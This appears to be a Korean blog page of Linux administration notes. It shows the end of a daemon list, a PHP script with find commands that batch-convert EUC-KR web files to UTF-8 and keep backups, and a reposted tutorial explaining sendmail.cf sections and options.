tux-커널 기반의 스레드http서버
vncserver-vnc서버
vsftpd -ftp데몬
xfs- x폰트 서버를 위한 데몬
xinetd-슈퍼데몬
yppasswdd-NIS클라이언트 사용자가 패스워드를 변경가능하게 해줌
ypserv -표준 NIS /YP 네트워크 프로토콜 서버
ypxfrd -yp맵의 전송을 가속시킴
yum -프로그램 업데이트 데몬


2009/02/26 10:38 2009/02/26 10:38
샤이 이 작성.

당신의 의견을 작성해 주세요.

/toutf.php
toutf.php파일 시작---------------------------------------------------------------------------------------------
<?php

$f = $_SERVER['argv'][1];
if(!file_exists($f)) {
    echo $f." file not found.\n";
}

$text = file_get_contents($f);
$text8 = @iconv('CP949', 'UTF-8//IGNORE', $text);

$cnt = strlen($text);
$cnt8 = strlen($text8);
if($cnt <= $cnt8) {
    // 제대로 변경이 되었다면 용량이 커졌을 것이다.
    // 용량이 같다면 한글이 없는 것이다.
    rename($f, $f.'.euckr'); // 백업
    file_put_contents($f, preg_replace('/charset=euc-kr/i', 'charset=utf-8', $text8));
    echo $f." file is converted.\n";
} else {
    // 용량이 작아진다면 잘못된 것이다.
    $fp = fopen('/error.txt', 'a');
    fwrite($fp, $f."\n");
    fclose($fp);
}

?>
toutf.php 끝-----------------------------------------------------------------------------------------------------------------

find /home -type f -name "*.php" -exec php /toutf.php "{}" \;
find /home -type f -name "*.inc" -exec php /toutf.php "{}" \;
find /home -type f -name "*.txt" -exec php /toutf.php "{}" \;
find /home -type f -name "*.html" -exec php /toutf.php "{}" \;
find /home -type f -name "*.htm" -exec php /toutf.php "{}" \;
find /home -type f -name "*.js" -exec php /toutf.php "{}" \;
find /home -type f -name "*.css" -exec php /toutf.php "{}" \;

** CP949 : euc-kr을 포함한 코드셋
2008/11/20 14:21 2008/11/20 14:21
샤이 이 작성.

당신의 의견을 작성해 주세요.

sendmail.cf 메뉴얼

2008/08/28 11:50 / Linux/Etc

///////////////////////////////
superuser에서 발췌 하였습니다.
///////////////////////////////

이 문서를 다른 웹이나 출판물에 게시할 때는 반드시 출처를 밝혀 주시기 바랍니다.


최종 수정일 : 2001년 8월 14일
글쓴이 : 윤 일(admin@rootman.org)
참고 서적 : Linux 네트워크 서버(출판사 : 삼각형 프레스)

HOW-TO Configuration sendmail.cf

SMTP(Simple Mail Transport Protocol)는 TCP/IP 메일 전송 프로토콜입니다. Linux 에서는 기본적으로 sendmail프로그램을
통해  SMTP를 완벽하게 지원합니다. 간혹 sendmail데몬과 pop3데몬의 역할에 대해 잘못 알고 계시는 분이 계신데 sendmail
은 메일의 발신, 수신, 중계의 역할을 합니다. 즉 sendmail데몬은 메일을 보내고 받고 하는 역할을 합니다.
pop3데몬은 sendmail이 수신한 사용자의 메일을 사용자의 메일 클라이언트에서 받아 볼 수 있는 역할을 합니다.

0. 들어가기 전에
sendmail.cf파일을 다루는 능력이 안된다고 해서 sendmail을 사용할 수 없는건 아닙니다. sendmail을 설치하면 기본적으로 설정되어 있는 sendmail.cf파일만으로도 충분히 아니 만족스러울 정도로 sendmail을 가동할 수 있습니다.
이번 강좌에서 다루는 sendmail.cf 설정들의 설명은 쉽고 자주 이용되는 설정에 대해서만 다룰려고 합니다. 하지만 이번 강좌에서 다루는 내용만으로도 sendmail을 사용하는데 아무런 지장이 없을 것입니다. 센드메일 관련 질문들을 봐도 이 범위에 벗어난 질문은 없는 것 같군요. 사실 더 이상 자세히 다룰 실력도 안되고, 워낙 sendmail의 기능이 많아서...
(800페이지 분량의 sendmail만을 다룬 책도 있습니다)
사실 sendmail.cf 파일에 대해서 공부하는것이 무척 부담스러울 것이다. 부담 되시는 분이나 처음부터 이해가 되지 않아 이 페이지를 닫으실 분들은 "1.3 Options 섹션" 부분만이라도 한번 읽어 보길 바란다.

1. sendmail.cf(sendmail 환경설정)
1.1-1 sendmail.cf의 규칙
-->>sendmail.cf의 각 행들은 다음과 같은 규칙이 적용됩니다.
1) 빈행은 무시한다.
2) #로 시작하는 행은 주석행이다.
3) C, D, F, H, K, M, O, P, R, S, V로 시작하는 행은 설정행이다.
4) 하나이상의 빈 공간으로 시작하는 행은 앞 행의 연장이다.

sendmail.cf 파일은 7개의 색션으로 나누어져 있는 아주 복잡한 파일이다.
아마 초보 분들은 sendmail.cf파일을 열고 그 내용의 방대함에 놀라 그냥 파일을 닫는 분도 있을 겁니다. 저도 첨에sendmail.cf 파일을 열어봤을 땐 짜증이 확 밀려 왔으니까.....
우선 간략하게 7개의 섹션들에 대해서 잠깐 살펴보고 넘어 갑니다.. 아주 간략하게..  지금부터 바짝 긴장 하시길.. ^^;

Local Info
--->> 0이 섹션은 해당 로컬 호스트의 구성 정보를 정의합니다.
Options
--->> sendmail 환경을 정의하는 옵션을 정의 한다.
Message Precedence  
--->> sendmail 메시지 순서 값을 정의 합니다.
Trusted Users  
--->> 발신인의 주소를 변경할 권한을 갖는 사용자를 정의합니다.
Format of Headers  
--->> 메일에 삽입도는 메일 헤더를 정의합니다.
Rewriting Rules
--->> 사용자의 메일 프로그램에 있는 e-mail 주소를 메일 배달 프로그램에 필요한 폼으로 다시 작성하는 명령이 들어       있습니다.
Mailer Definitions
--->> 메일을 배달하는데 사용되는 프로그램을 정의합니다. Mailer가 사용하는 재작성 규칙도 이 섹션에 정의되어
      있습니다.

1.1-2 sendmai.cf에서 사용되는 명령
C : 클래스 정의(문자열)
D : 메크로 정의
E : 환경변수 지정
F : 클래스 정의(file, pipe)
H : Herder 정의
K : Key file 정의(map 정의)
M : mailer 정의
O : 옵션
P : Message precedences
R : 덮어쓰기
S : Ruleset(새로운 규칙 시작)
T : Truseted users(사용자 지정)
V : 설정파일 버젼

1.2 local info 섹션
Cwlocalhost
localhost를 w클래스로 정의 한겁니다.
다음에 나오는 Fw와의 차이점은 C는 문자열을 정의하고 F는 파일을 정의합니다.

Fw/etc/mail/local-host-names
Cwlocalhost와 같이 w클래스를 정의하는데 문자열 대신 파일을 정의합니다.
즉 /etc/mail/local-host-names에 추가할 내용을 Cwlocalhost aaa.com bbb.com 으로 설정해도 같은 효과가 납니다..


FR-o /etc/mail/relay-domains
Relay를 허용할 도메인을 설정합니다.
그러나 /etc/mail/access에서 Relay 제어를 할 수 있기 때문에 이 파일은 거의 쓰기 않는 파일입니다.


DnMAILER-DAEMON
sendmail이 return 메일을 보낼 때 사용하는 사용자 이름을 정의한다.
sendmail로부터 return 메일을 받아 본 사람들은 MAILER-DAEMON의 메일을 받아본 기억이 있을 겁니다.


Kmailertable hash -o /etc/mail/mailertable
Mailer 테이블을 작성하는 파일을 정의합니다.
K 명령은 모든 정보와 내부 이름, 데이터베이스의 유형, 이 데이터베이스를 가지고 있는 파일을 정의할  때 사용한다.
K명령은 "mailertable"라는 이름의 데이터 베이스를 선언하는데 이 데이터 베이스는 표준  Unix 데이터베이스 포맷인 hash 포맷으로 되었있다는 것을 정의한다.


Kvirtuser hash -o /etc/mail/virtusertable
가상 유저 테이블을 정의하고 있다.


Kaccess hash -o /etc/mail/access
메일 수신자  데이터 베이스 파일을 정의하고 있다.

1.3  Options 섹션
아마 서버 관리자의 취향에 따라 가장 많이 수정되어 지는 부분이 Options 섹션의 설정들이 아닌가 생각된다.
모든 옵션에 대해서 설명을 하지 않았지만 특별한 경우가 아니면 이 밖의 설정들을 건드릴 일은 없을 것이라고 생각된다.
O SevenBitInput=False
7비트로 받아 들이지 않게 설정하고 있다.


O EightBitMode=pass8
8비트 데이트로 처리하게 설정하고 있다.


O AliasFile=/etc/aliases
aliases파일의 위치를 정의하고 있다.


O MaxMessageSize=1000000
메일의 최대 용량을 제한하는 옵션이다. 기본적으로 주석처리 되어 있어 무제한으로 설정되어 있다.
메일 박스 용량과는 무관한 설정이다.


O DeliveryMode=background
센드메일을 백그라운드로 작동하게 설정하고 있다.


O MaxHopCount=17
최대 메일 포워딩 수를 정의하고 있다.
큐잉 서버를 만들 때 사용되는 것으로 기본적으로 주석 처리 되어 있다.


O HelpFile=/usr/lib/sendmail.hf
help파일의 위치를 정의하고 있다.


O ForwardPath=$z/.forward.$w:$z/.forward
.forward  파일의 위치를 정의하고 있다.
$w는 호스트 이름을 가리키는 매크로 값이고 $z는 사용자 홈 디렉토리를 가리킨다.


O QueueDirectory=/var/spool/mqeue
센드메일의 큐 디렉토리의 위치를 지정한다.
큐 디렉토리는 메일 발송 실패 또는 대기 하고 있는 메일들이 임시로 저장되는 곳이다.


O Timeout.connect=1m
타임 아웃을 1분으로 설정하고 있다.


O Timeout.queuereturn=5d
Return메일이 발송될 시간을 설정하고 있다.
특정 이유로 메일이 5일동안 발송되지 않으면 메일을 보낸 사람에게 반송된다.


O Timeout.queuewarn=4h
메일이 최종 발신지까지 4시간동안 발송되지 않으면 메일을 보낸 사람에게 경고 메일을 보낸다.
sendmail.cf 파일에는 위 3가지 Timeout 설정외에 많은 Timeout 설정들이 있다.


O StatusFile=/var/log/sendmail.st
센드메일의 status 파일의 위치를 지정한다.


O DefaultUser=8:12
Mailer 의 UID와 GID를 설정한다. (UID : 8 , GID : 12)


O MinQueueAge=30m
메일을 바로 발송하지 않고 최소한 30분동안 큐잉 상태로 대기 시킨다. 기본적으로 주석 처리 되어 있다


O


1.4 Mesage Procedure 섹션
메시지 대기열에 들어가는 메시지의 우선 순위를 할당할 때 사용한다. 디폴트로 메일은 "1종 우편물"로 간주되어 0이라는 우선 순위가 할당된다. 우선 순위를 나타내는 수가 음수일 경우 메일로 보낼 에러 메시지가 만들어지지 않기 때문에 대량 메일링에는 낮은 우선 순위를가 유리하다. 아래의 우선 순위 설정들은 수정하지 말고 기본값으로 사용하길 바란다.
Pfirst-class=0
Pspecial-delivery=100
Plist=-30
Pbulk=-60
Pjunk=-100


1.5 Trusted Users 섹션
Trust된 사용자는 메일을 보낼 때 발신의의 주소를 변경할 수 있다. 단 trust된 사용자는 /etc/passwd 파일에 존재하는 사용자이어야 된다. 기본적으로 root, daemon, uucp가 설정되어 있다. 보안상 아래의 값을 변경하는 일은 없기 바란다.
Troot
Tdaemon
Tuucp


1.6 Format of Headers 섹션
메일 헤더를 정의하는 부분이다.
H?P?Return-Path: <$g>
HReceived: $?sfrom $s $.$?_($?s$|from $.$_)
        $.$?{auth_type}(authenticated$?{auth_ssf} (${auth_ssf} bits)$.)
        $.by $j ($v/$Z)$?r with $r$. id $i$?{tls_version}
        (using ${tls_version} with cipher ${cipher} (${cipher_bits} bits) verified ${verify})$.$?u
        for $u; $|;
        $.$b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $?x$x <$g>$|$g$.
H?F?From: $?x$x <$g>$|$g$.
H?x?Full-Name: $x
# HPosted-Date: $a
# H?l?Received-Date: $b
H?M?Resent-Message-Id: <$t.$i@$j>
H?M?Message-Id: <$t.$i@$j>

#^L                            


1.7 Rewritng Rules 섹션
R$*                       $#error $@ 5.7.1 $: "550 Relaying denied"
이 설정은 localhost에서만 RELAY를 허용하라는 설정이다. 절대 주석 처리 되어 있으면 안된다.
만약 주석 처리 되어 있을 경우 스패머들의 놀리터가 될 수 있다.


Mlocal,         P=/usr/bin/procmail, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
               
M=1000000, T=DNS/RFC822/X-Unix, A=procmail -Y -a $h -d $u  
위의 "M=1000000" 설정을 통해서 사용자가 사용할 수 있는 전체 메일 용량이 아니라 들어오는 메일 용량을 제한 할 수
있다. 기본적으로 설정이 되어 있지 않다. (단위: bytes)

2008/08/28 11:50 2008/08/28 11:50
샤이 이 작성.

당신의 의견을 작성해 주세요.

: 1 : 2 : 3 :